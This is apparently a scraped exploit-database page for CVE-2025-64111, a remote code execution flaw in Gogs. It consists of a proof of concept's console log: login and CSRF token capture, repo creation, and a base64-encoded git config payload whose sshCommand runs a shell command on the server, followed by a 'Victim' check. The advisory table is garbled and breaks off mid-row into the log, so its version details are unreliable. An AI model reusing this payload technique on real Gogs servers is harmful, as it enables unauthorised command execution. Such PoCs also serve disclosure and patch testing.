Share
## https://sploitus.com/exploit?id=433FE52D-E17A-5539-B5C7-247B7EBFE383
# CVE-2025-64111
| Software | Gogs |
| ----------------- | ---------------------------------------------------------------------------- |
| Versions Affected | /tmp/pwn"
=============== Gogs RCE PoC ===============
[+] Connected to Gogs at http://localhost:3000
[+] Got CSRF token: hhSDB_L69g...
[+] Logged in as testuser
24c97655fb5834a320d7fa10131ef0ac99c06164
[+] Repo created: testuser/poc-x0flmsos
[*] Cloning repo to /tmp/poc-x0flmsos...
[*] Creating malicious payload
Generated payload: Cltjb3JlXQogICAgcmVwb3NpdG9yeWZvcm1hdHZlcnNpb24gPSAwCiAgICBmaWxlbW9kZSA9IHRydWUKICAgIGJhcmUgPSBmYWxzZQogICAgbG9nYWxscmVmdXBkYXRlcyA9IHRydWUKICAgIGlnbm9yZWNhc2UgPSB0cnVlCiAgICBwcmVjb21wb3NldW5pY29kZSA9IHRydWUKICAgIHNzaENvbW1hbmQgPSBlY2hvIHllcyA+IC90bXAvcHduCltyZW1vdGUgIm9yaWdpbiJdCiAgICB1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2JodWRhbmkvcG9jLXgwZmxtc29zLmdpdAogICAgZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQogICAgcmVtb3RlID0gb3JpZ2luCiAgICBtZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVyCg==
[*] Setting up the branch...
[+] Exploit complete.
[*] Command executed on server: echo yes > /tmp/pwn
[*] Cleaning up...
[+] Deleted local clone: /tmp/poc-x0flmsos
[+] Remote repo deleted: testuser/poc-x0flmsos
[+] API key deleted
```
### Victim
```bash
cat /tmp/pwn
yes git@localhost git-receive-pack '/testuser/poc-x0flmsos.git'
```